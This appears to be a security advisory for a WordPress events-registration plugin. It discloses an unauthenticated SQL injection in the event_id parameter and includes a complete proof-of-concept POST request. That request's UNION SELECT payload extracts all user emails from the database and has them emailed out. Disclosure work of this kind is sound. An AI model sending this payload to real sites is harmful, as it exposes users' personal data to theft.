Registrations for the Events Calendar < 2.7.6 - Unauthenticated SQL Injection

The plugin does not sanitise and escape the event_id in the rtec_send_unregister_link AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL injection.

PoC

The below request will send an email to [email protected] with all user emails in the “Unregister from this event” URL POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 127 Connection: close Upgrade-Insecure-Requests: 1 event_id=3%20UNION%20SELECT%200,1,2,3,4,5,6,7,8,group_concat(user_email)%20from%20wp_users%20–%20x&email;[email protected]